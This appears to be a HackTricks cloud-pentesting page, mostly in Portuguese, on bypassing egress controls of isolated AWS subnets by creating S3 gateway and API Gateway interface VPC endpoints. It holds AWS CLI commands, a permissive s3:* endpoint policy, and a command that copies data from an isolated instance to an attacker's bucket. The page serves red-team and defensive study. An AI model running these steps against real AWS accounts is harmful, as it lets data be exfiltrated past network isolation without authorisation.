AWS – Egress Bypass de subnets isoladas via VPC Endpoints

Reading time: 4 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Resumo

Esta técnica abusa de VPC Endpoints para criar canais de exfiltração a partir de subnets sem Internet Gateways ou NAT. Gateway endpoints (e.g., S3) adicionam rotas de prefix‑list nas subnet route tables; Interface endpoints (e.g., execute-api, secretsmanager, ssm, etc.) criam ENIs alcançáveis com IPs privados protegidos por security groups. Com permissões mínimas de VPC/EC2, um atacante pode habilitar egress controlado que não atravessa a public Internet.

Pré-requisitos: VPC existente e subnets privadas (no IGW/NAT). Você precisará de permissões para criar VPC endpoints e, para a Option B, um security group para anexar às endpoint ENIs.

Opção A – S3 Gateway VPC Endpoint

Variáveis

  • REGION=us-east-1
  • VPC_ID=<target vpc>
  • RTB_IDS=<comma-separated route table IDs of private subnets>
  1. Crie um arquivo de endpoint policy permissivo (opcional). Salve como allow-put-get-any-s3.json:
json
{
"Version": "2012-10-17",
"Statement": [ { "Effect": "Allow", "Action": ["s3:*"], "Resource": ["*"] } ]
}
  1. Criar o endpoint Gateway do S3 (adiciona a rota de prefix-list do S3 às tabelas de rotas selecionadas):
bash
aws ec2 create-vpc-endpoint \
--vpc-id $VPC_ID \
--service-name com.amazonaws.$REGION.s3 \
--vpc-endpoint-type Gateway \
--route-table-ids $RTB_IDS \
--policy-document file://allow-put-get-any-s3.json   # optional

Evidências a capturar:

  • aws ec2 describe-route-tables --route-table-ids $RTB_IDS mostra uma rota para a AWS S3 prefix list (por exemplo, DestinationPrefixListId=pl-..., GatewayId=vpce-...).
  • A partir de uma instância nessas subnets (with IAM perms) você pode exfil via S3 sem Internet:
bash
# On the isolated instance (e.g., via SSM):
echo data > /tmp/x.txt
aws s3 cp /tmp/x.txt s3://<your-bucket>/egress-test/x.txt --region $REGION

Opção B – Interface VPC Endpoint for API Gateway (execute-api)

Variáveis

  • REGION=us-east-1
  • VPC_ID=<target vpc>
  • SUBNET_IDS=<comma-separated private subnets>
  • SG_VPCE=<security group for the endpoint ENIs allowing 443 from target instances>
  1. Crie o endpoint de interface e associe o SG:
bash
aws ec2 create-vpc-endpoint \
--vpc-id $VPC_ID \
--service-name com.amazonaws.$REGION.execute-api \
--vpc-endpoint-type Interface \
--subnet-ids $SUBNET_IDS \
--security-group-ids $SG_VPCE \
--private-dns-enabled

Evidências a capturar:

  • aws ec2 describe-vpc-endpoints mostra o endpoint no estado available com NetworkInterfaceIds (ENIs nas suas subnets).
  • Instances nessas subnets conseguem alcançar Private API Gateway endpoints através dessas VPCE ENIs (sem necessidade de caminho para a Internet).

Impacto

  • Contorna controles de saída perimetrais aproveitando caminhos privados gerenciados pela AWS para serviços da AWS.
  • Permite exfiltração de dados a partir de subnets isoladas (por exemplo, gravar em S3; chamar Private API Gateway; acessar Secrets Manager/SSM/STS, etc.) sem IGW/NAT.

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks